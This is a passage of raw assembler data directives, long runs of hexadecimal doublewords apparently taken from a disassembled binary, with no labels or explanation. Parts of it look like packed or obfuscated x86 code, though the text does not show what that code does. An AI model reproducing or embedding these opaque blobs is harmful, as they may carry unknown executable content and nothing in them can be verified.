0C81C35B3h, 0C804C826h, 0A2D57BF8h dd 68965809h, 760CE8F1h, 1502F33Bh, 6717B739h, 1C1744A2h dd 0B0A04979h, 7A6AE90Dh, 0DC503B29h, 0A3B903A1h, 2BAD1300h dd 0BC07D8C5h, 57BAE8E4h, 0BD0BCDA4h, 5632D81Bh, 35A38248h dd 8470761Ch, 8199160Ah, 9957D918h, 0E4938B35h, 35A3F4BEh dd 0EEF01Ch, 8876FF1h, 58D3EDA1h, 0A33F851Bh, 0B53B1C35h dd 0CA34B83Bh, 61AE4653h, 6C246F73h, 0A3BF4260h, 0B3351502h dd 0DDFA76EAh, 0ED8CA216h, 0A40DB7h, 9E70913h, 7652FAEAh dd 0A36268h, 0A4505613h, 9E92654Fh, 0CAB29C01h, 155ECB23h dd 0DF72827Fh, 12D0FCD4h, 0BCD9E97h, 7ADF397h, 31C355Fh dd 556B19DDh, 0B133BEDBh, 0BA0EB43Fh, 355E9E24h, 0E0149A1Ch dd 0E0B7F26Eh, 14253B8Dh, 0C3B140AEh, 2B7E6252h, 712F5B73h dd 1C35864Bh, 6369773Fh, 571C3586h, 0C9619F51h, 6A7824D0h dd 1502B24Fh, 8D5A4365h, 346A623Ah, 0BD71AFAh, 790881Eh dd 468668ECh, 0DA565C82h, 5C521C26h, 0E31DD3C4h, 28A74F4Ah dd 7E1FB8B4h, 958966FAh, 810FE20Ch, 3A45B85h, 867163C2h dd 28B0EDEAh, 0D448AB34h, 44B83B5Ch, 0CF41B029h, 0FAAC4752h dd 5796B34Bh, 81D2B0CCh, 39AAD893h, 33ACC04Bh, 0BB1EF9Bh dd 0FFFCAB70h, 6FA329B7h, 1197FCABh, 0BE4217DFh, 0D4BE35A2h dd 3, 47844F35h, 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh dd 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h dd 619F68h, 240C8900h, 0C181E189h, 4, 8704E983h, 685C240Ch dd 0E70h, 68241C89h, 7C76h, 50242C89h, 0DA3EAD68h, 5ABB582Eh dd 1DA60B2h, 0EC8358C3h, 24248904h, 4240483h, 155685Dh dd 4890000h, 8B824h, 0E8010000h, 0FF581889h, 835D2434h dd 1C8B04C4h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 7B4EE95Ch, 0FC69FFFAh, 0E93CD67Ch, 0B8844FC0h, 93B0316h dd 0E0FFC503h, 2E1F3AABh, 2535FAA0h, 4DFCDCC5h, 796B96FEh dd 310F88Bh, 61CCA75Dh, 3C113F0Fh, 107C2523h, 4F6536F4h dd 14E8h, 0E0E82D00h, 829F7580h, 9EA36365h, 41309F6h, 35FF5BAEh dd 11810F8Bh, 0E9000000h, 0Ch, 0C4AD99E0h, 6EE27565h, 0DF157FD2h dd 0E8E0F5Ah, 0E8000000h, 6, 9C3CBBCAh, 5F50A5AAh, 6BC2815Eh dd 81000070h, 1FD63FE3h, 1BE26828h, 0B70F0000h, 0B70F58F6h dd 0F0A8BF3h, 38Bh, 0F2BF0F00h, 0EC9F181h, 0B70F6632h dd 0D1C181DBh, 0F3E5325h, 0E981D8B7h, 40537E72h, 816651F9h dd 8FEBD4F7h, 8E902h, 5E270000h, 0E64A60BBh, 0EA83A8BBh dd 14E86001h, 57000000h, 90F3CC98h, 0C100D504h, 0D51E7EECh dd 5649D822h, 6035A8D0h, 8B665E61h, 4A4A61F0h, 0D98B664Ah dd 11850F48h, 0F000000h, 1DE9F9B7h, 9000000h, 7BB38C31h dd 236C5E9Eh, 9D5420BFh, 0FF7BE94Fh, 0A34FFFFFh, 50342A6Ah dd 72DACB7h, 5B78D8Dh, 6A093Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 897AB4C3h, 35082DBDh dd 298D8909h, 6A093516h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 71C5C356h, 51B89698h dd 0F4FB060h, 68Dh, 830F00h, 61000000h, 287D85C7h, 6F040935h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 40EBF1C3h, 8166096Fh, 897EE1D3h, 35062985h dd 5585C709h, 93522h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0F0DEC353h, 0B1858B7Fh dd 0FF093521h, 350D15B5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 3708501Fh dd 5CE8107h, 3018F37h, 351C6D85h, 0F3816609h, 95FF6478h dd 9350D05h, 3E9B529h, 6A0935h, 82995FFh, 0C08B0935h, 1F4F4CEBh dd 0E60716AFh, 0D837C39Eh, 0DA0CF444h, 28413722h, 0FDD15AFAh dd 8008B3CBh, 3B8EB88Dh, 4A23A583h, 3C1A6CA7h, 9407244Dh dd 99A1ADAh, 6823E32Fh, 0BD6F34B7h, 0DCEE8650h, 2BD66547h dd 4EF65D10h, 0D725D152h, 2C70779Ch, 4EB5045h, 194EDCF7h dd 471E9h, 0A1063400h, 0F0E984FCh, 9F3A35ABh, 0F5E27AFEh dd 0A03930A8h, 0BF4B40FBh, 0F66A33A6h, 0BD43587Dh, 0F36536A3h dd 9739627Fh, 3B23A937h, 861712FBh, 0AE2B4745h, 4158D143h dd 0F88A45Ch, 0E3FC70E4h, 18819C10h, 209A74D9h, 0E0648F08h dd 22D5BF14h, 540C910Eh, 0BD11BDDAh, 36419D27h, 0DF17991Ch dd 755C240Ah, 95ECB0CBh, 352BA551h, 5CD749A8h, 59CABA39h dd 118EA06Bh, 3F58D48Ch, 0E4F56D8Fh, 0E46B8B0Dh, 35B87154h dd 0BFA5781Ch, 920F209Ah, 7919DD5Fh, 89508314h, 0CACF6456h dd 417B2Ah, 474C0000h, 0B543AE2Bh, 1C364211h, 3C1D0716h dd 894FFA11h, 156h, 2A473500h, 5DD044AFh, 233BAD44h, 56C93BB6h dd 3C34A84Bh, 0FB68589Bh, 409D6E09h, 158CA154h, 1C9E88h dd 71ED5F97h, 47803368h, 0D448AB2Eh, 43B14059h, 1E17E2D2h dd 0C25E227Bh, 0B5AA1ED5h, 0BAE8A428h, 1C364210h, 8B12E204h dd 559C0519h, 41C9F3B1h, 1BBD1C36h, 0A25148E5h, 787361B2h dd 0A5A68E17h, 894FFF78h, 0A40Fh, 2841BB00h, 559042B1h dd 0F39C78C2h, 58F7FFF1h, 23AB2E47h, 41933967h, 61871C36h dd 859A0E95h, 41E2E8F6h, 0E0D61C36h, 539D534Ch, 0F8EC39A0h dd 0CBF1AFDBh, 0BF1C3641h, 41E3E9F7h, 0D1D71C36h, 0CC65D71Fh dd 1108D0CDh, 38884488h, 0B406EDD7h, 5AF35D6h, 3D1C363Ah dd 0B93BB623h, 9211E50Bh, 3D3E94ECh, 0B63D58D7h, 752D8E32h dd 78F06A8Ah, 34B1945Fh, 5D568740h, 51318950h, 62000000h dd 48AB2E47h, 0B63D5AD4h, 1F14A61Eh, 1F5777Ah, 0F903C0B4h dd 7A7A67h, 245C7069h, 24B42781h, 7855A17Fh, 0AF2A47D3h dd 4211B444h, 0AE181C36h, 6E86130Ch, 0F31A3321h, 74894FF9h dd 10h, 5E647A4Eh, 5A1C364Dh, 27CACF64h, 4AB4BA5h, 46AD2847h dd 0B2415ED2h, 6E00FAC2h, 0C2FE8271h, 8D8CC665h, 0C10EE6C7h dd 0AA3728D3h, 8B4356F1h, 0D7329D43h, 0A0461502h, 5643DF51h dd 0ECED8476h, 9D9305h, 75816FF1h, 534CE098h, 97AC10A0h dd 6BB81300h, 0D7928E79h, 0AAA90872h, 0B0ED0335h, 496C04F6h dd 127319Bh, 6D832513h, 41761655h, 52A28A3Dh, 985B44D8h dd 648F0824h, 8F627FF0h, 6093061Dh, 0BE493BC8h, 3FC130A5h dd 120253B1h, 0CDCECB67h, 8502B0DDh, 0D1B792h, 2E180000h dd 0B30BC39Bh, 0D9CDD79h, 0CA6E867Ch, 33D0D14h, 0EE50B15h dd 8419869Ah, 577760FCh, 2BCBCE65h, 0A33C30A4h, 8173E050h dd 405D7AF6h, 8539438Ah, 9A952792h, 0AB11CFFFh, 9F13010Eh dd 474EFDF9h, 7D000000h, 7C7872Eh, 8F2439C3h, 0D697A974h dd 36BD33D2h, 36AC42B2h, 0B21C35B5h, 8D37C52Ch, 0A41C35B4h dd 0E4CB977Dh, 1916A824h, 0EA04958Ch, 0AA405E0Ah, 3E1C35B4h dd 0CA29B6A8h, 33BEDB56h, 0ECB13FB1h, 46FEh, 0EB154F00h dd 6916570h, 0ADF3DBB3h, 1503698Ah, 2799587Eh, 4B0D8E0Bh dd 9927CAD7h, 13011708h, 7A0DF704h, 0C3A4F9E6h, 0EEB418F0h dd 0BD818CEh, 5FD120C6h, 2D1BD6C3h, 0DDE8F4E0h, 0BB1BC905h dd 0A314FF16h, 2EABA0FDh, 0D50BC39Bh, 150D43F9h, 0C438BBDDh dd 0EA6E2FA8h, 0E48A6976h, 9A5946DAh, 4050DE16h, 0FD03088Fh dd 555F8549h, 5102E770h, 6A5AA74Fh, 8516839Fh, 0AF425FD3h dd 3DB4253Dh, 1E15A74Fh, 0EA09948Bh, 0E7698866h, 569D0419h dd 0E7CD22D2h, 928F1814h, 707E1B17h, 0C75B1D7Eh, 82F17DAh dd 60000000h, 0E47D7F4Fh, 476201F5h, 0CF41B015h, 39AB4653h dd 0C537BA27h, 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h dd 4DBF32AFh, 5D2AC9D0h, 107A68h, 242C8900h, 2C1468h, 242C8900h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 51240C89h, 744CA168h dd 0D1F7592Ch, 21D9E181h, 0C1813B57h, 0F637E4BBh, 242C8151h dd 46A21434h, 34C5815Dh, 5946A214h, 4EC81h, 24890000h dd 24048324h, 0BA525904h, 8, 3ACDEA81h, 0CA0140F3h, 3ACDC281h dd 2A8940F3h, 2434FF5Ah, 4C48359h, 57242C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 55E95C24h, 4FFFA74h, 0F2B83845h dd 3093B09h, 41E0FFC5h, 9947E3FAh, 5C52AFC5h, 0CE358438h dd 8F6E7603h, 3B6C206Ch, 527737BDh, 0BC6CD858h, 3423FF53h dd 5236A8D9h, 0EF47B207h, 0F8738000h, 5B12A35Eh, 5167ED7Ah dd 4249803Bh, 0B0704FCEh, 0A808C10Fh, 950790E1h, 0E341B8A4h dd 814CCB3Bh, 45136983h, 531EA559h, 0B94B82BBh, 727DD3EBh dd 3504DCB6h, 202F1D7Ah, 5D2DA098h, 465C34C4h, 0A392A76h dd 744B9941h, 0EB45D163h, 0EB2BFEFEh, 9E7D0079h, 0E2218CEFh dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h dd 711800BEh, 0ADC4D756h, 440873E2h, 43E90331h, 6800000Fh dd 93B0D1Bh, 0FA7343E9h, 0E3D68FFh, 39E9093Bh, 68FFFA73h dd 93B0F26h, 0FA732FE9h, 108068FFh, 25E9093Bh, 68FFFA73h dd 93B10E0h, 0FA731BE9h, 11B568FFh, 11E9093Bh, 68FFFA73h dd 93B1239h, 0FA7307E9h, 12C868FFh, 0FDE9093Bh, 68FFFA72h dd 93B1380h, 0FA72F3E9h, 145568FFh, 0E9E9093Bh, 68FFFA72h dd 93B15E2h, 0FA72DFE9h, 183B68FFh, 0D5E9093Bh, 68FFFA72h dd 93B1955h, 0FA72CBE9h, 0B91E3CFFh, 98011CE4h, 0F7E27D03h dd 9D3A32A6h, 0F8E17800h, 27E398A3h, 4E128B0Eh, 25DBC0D5h dd 4B0D8E0Bh, 0DFD1CAD7h, 35CBF1AFh, 0EBF12FBh, 0AE2B47ADh dd 445DD143h, 0D9FE7688h, 895E961Ah, 9B33EBBEh, 3646205h dd 61901615h, 11BEDD3h, 4D37AE13h, 8524418Ch, 472692h dd 15650000h, 41A12BB9h, 3E931C36h, 0A3BB9502h, 0C430B60Ch dd 1EAE6631h, 2819580h, 0AE456B15h, 90E5B808h, 0A5C92838h dd 37FDC351h, 67BE1301h, 4315C7Dh, 0B3369285h, 90000000h dd 431CA63Ch, 0A6181301h, 11E50B88h, 802B4772h, 82F3000h dd 0F3EE81E7h, 7C727C00h, 6F6A0375h, 831C1084h, 7760FC70h dd 0D5079626h, 35291C35h, 0D26E548Ah, 226A1C35h, 35D2367Ch dd 42AC321Ch, 0F569EFACh, 0D2AE14CAh, 4AA1C35h, 297C07EAh dd 40475D71h, 0B41502F9h, 0CBDE6932h, 0BB25BB13h, 0BF0BCCB0h dd 120BB519h, 0CB621687h, 982816CEh, 0EE75E9A2h, 0CFC04h dd 0A90E2C00h, 0E8F16CF4h, 0A7322DB3h, 0EDEA82F6h, 0A83128B0h dd 0B75328F3h, 0FE821BBEh, 0B52B7065h, 0FB7D1EBBh, 2F217A67h dd 347B415Fh, 5E6F12FBh, 0AB2E475Dh, 0E5F26EF2h, 9B2E13B8h dd 4AD50BC3h, 0AE150372h, 9B25C928h, 47DD1984h, 13011181h dd 0D8F1E342h, 92852975h, 12BF2h, 9229C00h, 13E3658Ch dd 0BE2B476Ch, 0E8D210A7h, 0DC1C3641h, 0DBD34BAh, 4B0FC9B8h dd 0B03EB0DBh, 0AFA4641Ch, 0B56B6D3h, 79F064EBh, 0DF526C60h dd 4B7B0C94h, 42AC2347h, 4AC92DAFh, 0C095DCA4h, 8AA831D0h dd 0D6C9D46Ah, 0F76B1C35h, 0D1FDB1EAh, 35D9A913h, 0D3FB9D1Ch dd 35D9A70Dh, 0F9FDA31Ch, 0DEEEEB87h, 0B52742DCh, 5856089Ch dd 56DA19D7h, 1941F9Eh, 0B7498549h, 50D41FBAh, 0DD670EA4h dd 3B5D1502h, 82206C62h, 1300A038h, 0A022A836h, 90161300h dd 0BD48AC32h, 49A32EAh, 0BCC51DBh, 8C092799h, 0C10DE365h dd 686213Fh, 3D9F3554h, 8A2EC628h, 0BBE0F970h, 39AD2C45h dd 0E9A2083Bh, 0DAD7BF62h, 0A00000Bh, 4E128B28h, 23D5C6D3h dd 540C910Ch, 1EE2BBDCh, 12099207h, 1989179h, 4A4FE49Ch dd 4918F51h, 544DE197h, 772D6147h, 12FB334Dh, 47379C49h dd 715B892Eh, 651C3641h, 9F21AD43h, 74EA1481h, 14BA8F67h dd 896875EAh, 0E17DEF07h, 11ABA3F8h, 7B415F18h, 6F1C3641h dd 99478769h, 1C364133h, 0CE758127h, 43AE2B47h, 57445DD1h dd 0E0138EA1h, 0B6E7F06Ch, 0D4DF0044h, 1F12D0FCh, 15150355h dd 36EA0365h, 8866A2E1h, 3807AE94h, 9520E287h, 11BD11BDh dd 7737E9D3h, 3BBBDD1Dh, 44523AA5h, 83784816h, 0F02CDA58h dd 0FDA351A5h, 865E69F6h, 5869846h, 747A1D84h, 0CDCA6658h dd 725C101h, 0D8A65B4Ch, 1604AEF4h, 0DE001D84h, 0A3BF4116h dd 6471EA14h, 8415347Eh dd 40AE301Dh, 51D3AEA4h, 5A44EFE8h, 0AF1h, 5963321h, 0DAC3DE53h dd 0F8C0926h, 0D3C8D149h, 1885140Dh, 859C6E1Bh, 5AD18714h dd 849A5E3Fh, 5ED28617h, 18745C41h, 0FB32408Ah, 24A73412h dd 43AE2B47h, 67041D9Fh, 8CBE527Fh, 10E30D71h, 0CADD688Ch dd 6D24BA12h, 8B150322h, 3A8E3865h, 1251EA4h, 60941A13h dd 0C20AC2D5h, 0CE49011Ch, 0DDF1F70Bh, 6C9F3B1h, 1BBD1C36h dd 0A45049E5h, 6298F1Dh, 0C4591C36h, 8DA216DDh, 61900920h dd 4DE211DFh, 6829CCB8h, 0D73617FDh, 90895034h, 40h, 0C39B2E3Fh dd 0DF1D50Bh, 9BEF1503h, 0F5BF05h, 951FC513h, 911300F5h dd 0C333B50Fh, 0B9438B0Dh, 0A8E90CA7h, 0E9EF6C1Ch, 757B1E17h dd 0DE309428h, 0CC601300h, 1816CAD3h, 1E8E787Bh, 0BF00000Ah dd 3A19B2Eh, 1C3641B9h, 5AD52BADh, 0BE30B43Fh, 4946D00Eh dd 34BA150Dh, 8D0A2698h, 34A1BF41h, 0DEBB3BBDh, 3599061Ah dd 418958Bh, 1AD4589Bh, 0A15049E4h, 0CB58D71Fh, 0CCAAF2F8h dd 660709E9h, 557C4488h, 4156CE1Ch, 60922EB2h, 7200B3BDh dd 25AB9C53h, 617F2BCBh, 0BD21464h, 84765658h, 2AAEEFE8h dd 0BD4AA936h, 0E8D210EAh, 0DC1C3602h, 0A9834BAh, 150309F7h dd 3D0BDBFDh, 0A0F2D4DBh, 9971901h, 95C70000h, 78F56B30h dd 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh, 19A3F36h dd 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh, 0EE12FB31h dd 0A52BDEDDh, 0BC1C3641h, 79D31E9h, 150D48AEh, 12AC20C6h dd 641C811Eh, 9724CFC8h, 6A78540Ch, 0BC8352Fh, 0FBC323C5h dd 0E2E9ADAFh, 937573Fh, 0F5670000h, 1815CBD0h, 0CB641C81h dd 130BCDCEh, 0CA631586h, 0B4C5CECFh, 613A5FD6h, 8C11849Fh dd 603D5AD4h, 821B8498h, 0DAE0FECEh, 0CE12FB31h, 2B47FEBDh dd 5DD143AEh, 203BAD44h, 0C32DACC5h, 32A7BC30h, 9084D1BFh dd 7ED00D5h, 4FFE0746h, 3D86089h, 152F0000h, 8B6673EBh dd 4F5AED09h, 2B933797h, 1E72B013h, 0BD53A390h, 150D35ECh dd 6770E812h, 36EC088Ch, 8CA21CB0h, 0B943E70Fh, 995F3CA5h dd 31D51C85h, 0FD58D251h, 0E60E7089h, 0FA9E7658h, 623A8D12h dd 0D53126Ah, 0E1178A7Eh, 81A2CE4Fh, 0E410DEC2h, 0F66A9438h dd 6E860AE9h, 0C7AFA9E0h, 0BBB7490Bh, 0A551D31Eh, 3835C7EFh dd 14CE52A1h, 1C27AEAEh, 0FAEA04AAh, 0E9AE3A1Ah, 623620C3h dd 92000008h, 0E69A03A0h, 8B4D4E4Bh, 0CC940994h, 0A65A4354h dd 8A910A8Fh, 990019F1h, 0F2E77C04h, 9C3937A9h, 0FCE579FFh dd 0BFE5A99Fh, 12FB30F5h, 47DFE4F1h, 0D143AE2Bh, 10AD445Dh dd 0D73617FDh, 90894FFDh, 312h, 41A52B3Fh, 0E9BC1C36h dd 0B239D31h, 28B3638Eh, 7B6B6B88h, 2ACE26C8h, 0C717D74h dd 59757B15h, 0CDCECB67h, 678A170Bh, 0BD11C9DCh, 0C7646C27h dd 7E66880Bh, 0E9AE8564h, 0DED0BA39h, 0E000007h, 6216872Ch dd 17C9D2CFh, 58207D18h, 12C6D7C0h, 161D7E1Bh, 0D8CA565h dd 4653C890h, 108DA355h, 4059D58Bh, 8B19755Bh, 12FB2F41h dd 4723A835h, 0ACF802Bh, 0E737721Eh, 0FA76EA09h, 0AA9F25BBh dd 159B1C35h, 0AC7918DBh, 946E9FB8h, 7FF98950h, 0DA000002h dd 3641A52Bh, 31E9BC1Ch, 48F3079Dh, 0DD03150Dh, 4653CFF1h dd 228FA355h, 0DE62910Eh, 4356E110h, 369D438Bh, 3C0BC851h dd 0C92DAAC2h, 2751951Bh, 76E9ADBBh, 74F03EBh, 0DD7F0000h dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h dd 0A612FB2Fh, 2B47D6F5h, 5DD143AEh, 0CE3FAD44h, 821F13E6h dd 0F9D43919h, 2393894Fh, 0EF000000h, 0AB4653CDh, 3CB72239h dd 55C836B8h, 0D109A84Ch, 1E6h, 4B6803FDh, 36412F95h, 6B852B1Ch dd 9F2BE48Bh, 0A11C3641h, 8AA7021Fh, 8E60E40Fh, 411AA03Eh dd 880E1C36h, 16CED96Ch, 490D28B6h, 0EDF3150Dh, 5643DFE1h dd 29F9345h, 795164EFh, 51448F55h, 7E4A0BC8h, 282D5A60h dd 0AC484E1Ch, 0C2F4F0F6h, 0DBE9ADBAh, 6976E58h, 95C70000h dd 78F56B30h, 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh dd 19A3F36h, 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh dd 0EE12FB2Eh, 2B47DEDDh, 0C231A6BEh, 641CB03Eh, 94FD15BAh dd 6EF50156h, 7A7966FAh, 0E0AB990Ah, 817B534Ch, 39A9C7ECh dd 9BDC2AD4h, 0D9166D55h, 0F9A28471h, 942620FDh, 58F8FC9Dh dd 895035F5h, 1372h, 0EB152100h, 7896875h, 7C7762F9h, 0B0CFCF8h dd 3D000001h, 36419E2Bh, 36EEB91Ch, 0A5E5E696h, 0F90F8C14h dd 7D9351FDh, 71150CB9h, 4C18E341h, 0EEFDC5D2h, 45896723h dd 613AA7BBh, 0B616839Fh, 563A2306h, 0A42B70F0h, 0C5B50DC8h dd 2BB24291h, 913D15A0h, 0C78B8853h, 8A5A7C0Bh, 0E9AE7582h dd 0C2EED85Bh, 0F2000005h, 0C63A6340h, 0EB6D2EABh, 0AC346974h dd 67A23B4h, 6A316A6Fh, 0F9E07911h, 5247DCA4h, 0FC999749h dd 5C45D99Fh, 9F45893Fh, 12FB2D15h, 473F8411h, 0D143AE2Bh dd 367C225Dh, 6E1C3641h, 8E12E1F6h, 0B53CB234h, 1BEED647h dd 51019A07h, 894FF9FCh, 116Bh, 8CA51700h, 154AE90Dh, 8C6875EBh dd 519Ch, 2B47ED00h, 0BB36A3BEh, 654F9539h, 611C3641h dd 651DB13Fh, 96BC0E7Dh, 78F7FFFEh, 974D6804h, 1C35EC2Dh dd 8A698729h, 737E1B16h, 0ECAB11CFh, 0F99F1C35h, 886B6E07h dd 15D0C421h, 0A56E4EF8h, 2A21E4B8h, 371D7282h, 0EEAF2844h dd 2CF4h, 0EB155500h, 9DCE3B74h, 0CC877B15h, 0C458D222h dd 458818DBh, 341C356Ah, 0F2EF807Ah, 2C797DFFh, 0C8D14D38h dd 7865FA04h, 2AFFF779h, 0AE2B4789h, 0F9DF9F43h, 8B4134ECh dd 3F5AC694h, 19D1C883h, 0A77F4ADDh, 36AF7927h, 255D150Dh dd 66C9FE6Eh, 812FC784h, 0D64D6F5Fh, 37B903A1h, 2BAD12FBh dd 4AAA2EC5h, 97001C9Eh, 0E4602006h, 68F20BF1h, 2B914F7Fh dd 1F12FAD7h, 6F037D79h, 0CC605A72h, 249C20D3h, 0F34C3729h dd 0ED74806Bh, 4F7F5762h, 0D1653491h, 9088320Bh, 9F41EF07h dd 8918D2Fh, 0FBD5FCC4h, 5747E610h, 0F10E926Bh, 8C688717h dd 1BC7F7AFh, 0B5D762A0h, 16D8C158h, 0E7F06CDEh, 5C347F0Ch dd 0DFBF3270h, 0B3351502h, 0D5092F33h, 1B03AEF2h, 435h dd 0C9D2F765h, 1E7F1A17h, 0C3D8C55Ah, 0E7B4253Dh, 0BCE1F871h dd 69008AFFh, 0BEB52B70h, 60FE821Bh, 0BAB62A73h, 4C8801Dh dd 0FB2CD4DEh, 0C3D012h, 0A7BE2B47h, 0B33DBF32h, 0DDFA76EAh dd 118EA216h, 0E6F36EE2h, 2C85990Bh, 0C84CA730h, 0C159CB26h dd 0ED9719D8h, 0ACC1B4A0h, 0B43ABE35h, 3217FD4Eh, 0EA099688h dd 1C8E66h, 0E9240697h, 7E894FF9h, 73h, 545E8448h, 8C1C364Dh dd 2EC00297h, 0C94BA633h, 1530CF27h, 41A12BB9h, 13951C36h dd 8D4550E3h, 13A0BF41h, 3641E7CDh, 33BDE31Ch, 497317C3h dd 8026CDD4h, 36415862h, 0A44A4C1Ch, 0DFAC250h, 0ECF21503h dd 5340DEE0h, 0F5527A4Ah, 0EA861300h, 3628B0EDh, 576925A9h dd 0B236BDD8h, 0F58A30h, 3AA7BA13h, 198F35B7h, 9F579900h dd 34F3620h, 2E970000h, 0D50BC39Bh, 15036C8Eh, 1B8D648Ah dd 8E547807h, 13011324h, 5E647E20h, 64130113h, 113743Eh dd 546E7013h, 0E3559C52h, 2FA1504Dh, 614FA237h, 0A86500F4h dd 10A34F35h, 0F66A9438h, 43610DE9h, 0BCE3E18h, 0F6D1CACCh dd 9BE3EBA3h dd 8D4C7519h, 5D7AF6B9h, 18DC1296h, 0D3232E74h, 0BFE11502h dd 30A9C034h, 9282D3C1h, 86130BB5h, 0BFE5E96Bh, 13008AF5h dd 7C07EFF1h, 3EE8129h, 2866D68h, 14CA02ECh, 0BCDB54Dh dd 1EBBB54Bh, 1915CBD0h, 63FF7180h, 0F9A2576h, 6697757h dd 0FA1502CBh, 4EE6D8F4h, 0CE26AA49h, 82FFC14Fh, 65C01300h dd 0BD2F5E7Fh, 0C13B9285h, 3CC033AEh, 4D11B8h, 2EC20000h dd 0B30BC39Bh, 828B2048h, 0A59FC129h, 4E07C000h, 26BC6094h dd 1502E1F7h, 8818DBFDh, 1300A146h, 16DDFA76h, 0F10F8CA2h dd 1E926178h, 0DA5E9502h, 25C0B431h, 0A9DAA26Ch, 0E88BF8C1h dd 0B59FF400h, 85313994h, 0A12E92h, 475D0000h, 0D143AE2Bh dd 358D4158h, 171620C3h, 0FD8470CAh, 0E70A978Bh, 0BBE0F975h dd 35F87E29h, 35A2BE1Ch, 637CF068h, 0D8B00390h, 24AFAEF4h dd 43651503h, 623A8D5Ah, 9003346Ah, 0EFF10BCCh, 2744DDDFh dd 9CD290ABh, 0D2CB25ABh, 0C8F2B0DCh, 0BC1C33CAh, 0C960DA1Ah dd 1E0414D0h, 5AD9E9A2h, 1DC70h, 892E0C00h, 0C8D14C14h dd 87120DD3h, 0CDCA6216h, 881108D0h, 97730813h, 0DEA2FB9Eh dd 954B5045h, 0DB9DFE9Bh, 8F415A47h, 291BA13Fh, 7E0F12FBh dd 0AB2E473Dh, 0E5F26EF2h, 71EC0EB8h, 2EE58C68h, 415CD39Bh dd 0B5223EB2h, 0BA34BA3Eh, 2D44B612h, 6BBA48ACh, 91150372h dd 7254E40Fh, 33130111h, 0FB05C2B2h, 0F6487865h, 419249F5h dd 0DA33DB1Bh, 8D92851Ah, 0DCh, 0AE2B473Eh, 8E346A1Eh dd 8A1C3641h, 903A6864h, 841C3641h, 670B9262h, 89625217h dd 8373A9FAh, 6A891009h, 3588CBDAh, 6D8F3B1Ch, 880CE7F2h dd 3587705Ah, 0B242641Ch, 0E2BB2438h, 5E95021Eh, 21EC6D1h dd 0E10F8AA5h, 0F10BBF0Fh, 809D637Eh, 9E56DA19h, 2B45510h dd 0F8A54B15h, 48845C67h, 0C9E47A84h, 5BA5F25Ah, 0CF22CC05h dd 16D8C15Dh, 68AE50DEh, 922C0BCCh, 84150D9Ah, 0F105EB6Dh dd 8F319D43h, 46F20297h, 7F1CBDB4h, 495760F9h, 1C340683h dd 677F7177h, 0E9A1DDFFh, 0C22B139Eh, 0F2000000h, 0C63A6340h dd 0EB6D2EABh, 0AC346974h, 67A23B4h, 6A316A6Fh, 0F9E07911h dd 5247DCA4h, 0FC999749h, 5C45D99Fh, 9F45893Fh, 12FB2815h dd 473F8411h, 6EF2AB2Eh, 13B8E5F2h, 43AE2B47h, 57445DD1h dd 69653D88h, 0D49153Bh, 0CE70915h, 49571666h, 77E7EA82h dd 88110D7Fh, 38A5BA44h, 519DFBCh, 958E309Ch, 0DF6DF400h dd 0D006214h, 4B5935D9h, 19045D81h, 29935175h, 1D19045Dh dd 3481757Bh, 0FEB9B540h, 45DDAE0h, 26C8CE19h, 7A1F14A6h dd 2C01F577h, 302FB8B4h, 24CA4EA5h, 0B4C35BCDh, 45DC4EEh dd 0D01EC019h, 0F2E23321h, 2D6E6B07h, 0C72AB7ABh, 8DFh dd 0EB153000h, 248E6673h, 0B015475Dh, 4653CF41h, 0BA2739ABh dd 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h, 32AFC034h dd 0C9D04DBFh, 89505D2Ah, 405E0h, 0E8830000h, 74FF5004h dd 8F580424h, 685C2404h, 0DC3h, 52241C89h, 0C281E289h dd 4, 8704EA83h, 895C2414h, 6EBB240Ch, 51100A48h, 3D6E4FB9h dd 15C98116h, 81783870h, 6E41FCE9h, 59CB2977h, 4EC81h dd 24890000h, 24048124h, 4, 0B9515359h, 1B0F27ECh, 4244C31h dd 8418F59h, 0EC087181h, 0FF1B0F27h, 83592434h, 34FF04C4h dd 0C4835B24h, 6416E904h, 4F02FFFAh, 0A796A1B6h, 82AF4B68h dd 3CB8BED5h, 3093B1Ah, 59E0FFC5h, 0C11582C7h, 8B722665h dd 9E0C2057h, 6E0BB064h, 0B634133Dh, 0B2713C75h, 83770329h dd 926E998Ch, 9B7E8370h, 0E81C0D34h, 0CE6A04C2h, 431AAA3Fh dd 0B6569BA0h, 0BD5FD594h, 915DAC26h, 75208EC1h, 761D5539h dd 6074F50Eh, 0BF0A70BBh, 882EEFE6h, 3F35CE9Eh, 126864EEh dd 90635984h, 0CD69C7BFh, 617DFD24h, 5A5DA9E1h, 0B66D63E6h dd 0C6416DB1h, 0C62555Dh, 0EB56B9C7h, 0FEF16704h, 4C6E92Ah dd 4DEF0000h, 